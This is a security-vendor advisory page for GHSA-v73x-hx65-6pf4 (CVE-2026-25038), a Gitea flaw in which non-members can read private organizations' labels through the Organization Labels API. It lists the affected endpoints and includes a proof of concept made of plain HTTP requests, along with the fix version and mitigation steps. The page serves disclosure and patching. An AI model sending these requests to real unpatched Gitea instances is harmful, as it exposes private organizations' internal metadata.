Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-v73x-hx65-6pf4

HIGHFix: go-gitea/gitea#38151

GHSA-v73x-hx65-6pf4 is a high-severity (CVSS 7.5) Information Exposure vulnerability in code.gitea.io/gitea. O3 Security confirms whether GHSA-v73x-hx65-6pf4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Gitea: Unauthorized Access to Labels of Private Organizations

Also known asCVE-2026-25038GO-2026-6076
Published
Jul 21, 2026
Updated
Jul 27, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Jul 27, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.

A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.

The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.

Details

The following endpoints are affected:

  • GET /api/v1/orgs/{org}/labels
  • GET /api/v1/orgs/{org}/labels/{id}

During testing, a private organization was created and a label was added to that organization.

Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.

However, the same user was still able to retrieve organization labels through the endpoints listed above.

For comparison, other organization-scoped endpoints such as:

  • GET /api/v1/orgs/{org}/teams
  • GET /api/v1/orgs/{org}/hooks
  • GET /api/v1/orgs/{org}/actions/secrets

correctly denied access to unauthorized users.

The label endpoints returned the full Label object, including fields such as:

  • id
  • name
  • description
  • color
  • url

Write operations were tested separately and remained protected by authorization checks.

PoC

Setup

Create a private organization:

POST /api/v1/orgs
Authorization: token <owner_token>

{
  "username": "target-org",
  "visibility": "private"
}

Create a label:

POST /api/v1/orgs/target-org/labels
Authorization: token <owner_token>

{
  "name": "internal-label",
  "color": "#aabbcc",
  "description": "private organization label"
}

Verify that the organization is not accessible to a non-member:

GET /api/v1/orgs/target-org
Authorization: token <non_member_token>

Response:

HTTP/1.1 404 Not Found

Retrieve all labels

Request:

GET /api/v1/orgs/target-org/labels
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The response contains labels belonging to the private organization.

Retrieve a specific label

Request:

GET /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Observed response:

HTTP/1.1 200 OK

The full Label object is returned.

Verify write protection

Request:

PATCH /api/v1/orgs/target-org/labels/1
Authorization: token <non_member_token>

Response:

HTTP/1.1 403 Forbidden

PoC Details

https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak

Impact

Users who are not authorized to access a private organization can obtain label metadata associated with that organization.

Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.

The issue affects confidentiality only. No integrity or availability impact was observed.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.26.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update code.gitea.io/gitea to 1.26.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v73x-hx65-6pf4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-v73x-hx65-6pf4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-v73x-hx65-6pf4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints. A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed. The issue is limited to unauthorized read access. No unauthorized modification of labels was observed. ## Details The following endpoints are affected: * `GET /api/v1/orgs/{org}/labels` * `GET /api/v1/orgs/{org}/labels/{id}` During test
O3 Security · Impact-Aware SCA

Is GHSA-v73x-hx65-6pf4 in your dependencies?

O3 detects GHSA-v73x-hx65-6pf4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-v73x-hx65-6pf4: gitea Information… | O3 Security